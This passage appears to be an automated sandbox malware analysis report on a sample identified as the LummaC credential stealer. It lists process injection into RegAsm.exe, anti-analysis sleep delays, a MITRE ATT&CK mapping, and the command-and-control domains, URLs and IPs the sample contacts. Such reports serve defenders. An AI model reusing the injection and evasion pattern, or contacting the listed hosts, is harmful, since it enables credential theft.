Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: kewyIO69TI.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: kewyIO69TI.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: kewyIO69TI.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: c:\rje\tg\mjkz5\obj\Release\ojc.pdb source: kewyIO69TI.exe

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Code function: 0_2_02CF1487 push ds; iretd	0_2_02CF1992
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Code function: 0_2_02CF1997 push ds; iretd	0_2_02CF1992
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00438B7E push cs; iretd	4_2_00438B85

Source: kewyIO69TI.exe

Static PE information: section name: .text entropy: 7.995225339741643

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory allocated: 1200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory allocated: 2B20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe TID: 3300	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 712	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RegAsm.exe, 00000004.00000002.1394874514.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004476D0 LdrInitializeThunk,

4_2_004476D0

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: kewyIO69TI.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: kewyIO69TI.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: kewyIO69TI.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Code function: 0_2_02CF2155 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02CF2155

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop
Source: kewyIO69TI.exe, 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lootebarrkeyn.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 460000	Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BAF008	Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\kewyIO69TI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Users\user\Desktop\kewyIO69TI.exe

Queries volume information: C:\Users\user\Desktop\kewyIO69TI.exe VolumeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	411 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kewyIO69TI.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla

Source	Detection	Scanner	Label	Link
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fragnantbui.shop	188.114.97.3	true	true	unknown
gutterydhowi.shop	104.21.4.136	true	true	unknown
steamcommunity.com	104.102.49.254	true	false	unknown
offensivedzvju.shop	188.114.96.3	true	true	unknown
stogeneratmns.shop	188.114.96.3	true	true	unknown
reinforcenh.shop	104.21.77.130	true	true	unknown
drawzhotdog.shop	104.21.58.182	true	true	unknown
ghostreedmnu.shop	188.114.96.3	true	true	unknown
vozmeatillu.shop	188.114.97.3	true	true	unknown
ballotnwu.site	104.21.2.13	true	true	unknown
lootebarrkeyn.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://drawzhotdog.shop/api	true		unknown
lootebarrkeyn.shop	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://gutterydhowi.shop/api	true		unknown
https://vozmeatillu.shop/api	true		unknown
https://stogeneratmns.shop/api	true		unknown
stogeneratmns.shop	true		unknown
reinforcenh.shop	true		unknown
https://ghostreedmnu.shop/api	true		unknown
fragnantbui.shop	true		unknown
gutterydhowi.shop	true		unknown
https://offensivedzvju.shop/api	true		unknown
https://fragnantbui.shop/api	true		unknown
offensivedzvju.shop	true		unknown
https://reinforcenh.shop/api	true		unknown
drawzhotdog.shop	true		unknown
ghostreedmnu.shop	true		unknown
https://ballotnwu.site/api	true		unknown
vozmeatillu.shop	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ballotnwu.site:443/api	RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://stogeneratmns.shop/	RegAsm.exe, 00000004.00000002.1394874514.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://reinforcenh.shop/api0	RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://reinforcenh.shop/apicL	RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://offensivedzvju.shop/	RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ballotnwu.site/apiz	RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/profiles/76561199724331900$vF	RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://reinforcenh.shop/	RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ballotnwu.site/b	RegAsm.exe, 00000004.00000002.1394874514.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/~	RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://drawzhotdog.shop/	RegAsm.exe, 00000004.00000002.1394874514.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://fragnantbui.shop/	RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ballotnwu.site/	RegAsm.exe, 00000004.00000002.1395000346.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.77.130	reinforcenh.shop	United States	13335	CLOUDFLARENETUS	true
104.21.4.136	gutterydhowi.shop	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	fragnantbui.shop	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	offensivedzvju.shop	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.21.2.13	ballotnwu.site	United States	13335	CLOUDFLARENETUS	true
104.21.58.182	drawzhotdog.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520453
Start date and time:	2024-09-27 11:18:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kewyIO69TI.exe renamed because original name is a hash value
Original Sample Name:	ee766f8a002bc94c1ed54dc7602547c9.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/2@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 15 Number of non-executed functions: 56
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: kewyIO69TI.exe

Simulations

Behavior and APIs

Time	Type	Description
05:19:07	API Interceptor	4x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.77.130	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining3.com/h9fmdW7/index.php
	am.exe	Get hash	malicious	Amadey	Browse	downloaddining3.com/h9fmdW7/index.php
	am.exe	Get hash	malicious	Amadey	Browse	downloaddining3.com/h9fmdW7/index.php
104.21.4.136	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	SecuriteInfo.com.Trojan.Win32.Crypt.24800.18482.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	3ZD5tEC5DH.exe	Get hash	malicious	LummaC	Browse
188.114.97.3	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
	ECChG5eWfZ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	homker11.uebki.one/GeneratorTest.php
	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/1g7m/
	http://www.tiktok758.com/	Get hash	malicious	Unknown	Browse	www.tiktok758.com/img/logo.4c830710.svg
	TRmSF36qQG.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?0T5=UL08qvZHLtV&EnAHS=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4JOdI1EXss+

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gutterydhowi.shop	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	0UB3FIL25c.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.4.136
steamcommunity.com	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	zlsXub68El.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	0UB3FIL25c.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.102.49.254
fragnantbui.shop	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	0UB3FIL25c.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	104.21.69.238
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	GEsD6lobvy.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.97.3
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://strato.de-sys.online/HJd9cn-2tRRO-rDZDs-D6p99-HbdYU-wK4oY-FICwzl/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://www.vossloh-events.com/EMOS/Login.aspx?ReturnUrl=%2femos	Get hash	malicious	Unknown	Browse	104.18.11.207
CLOUDFLARENETUS	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	104.21.69.238
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	GEsD6lobvy.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.97.3
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://strato.de-sys.online/HJd9cn-2tRRO-rDZDs-D6p99-HbdYU-wK4oY-FICwzl/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://www.vossloh-events.com/EMOS/Login.aspx?ReturnUrl=%2femos	Get hash	malicious	Unknown	Browse	104.18.11.207
CLOUDFLARENETUS	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	104.21.69.238
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	GEsD6lobvy.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.97.3
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://strato.de-sys.online/HJd9cn-2tRRO-rDZDs-D6p99-HbdYU-wK4oY-FICwzl/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://www.vossloh-events.com/EMOS/Login.aspx?ReturnUrl=%2femos	Get hash	malicious	Unknown	Browse	104.18.11.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
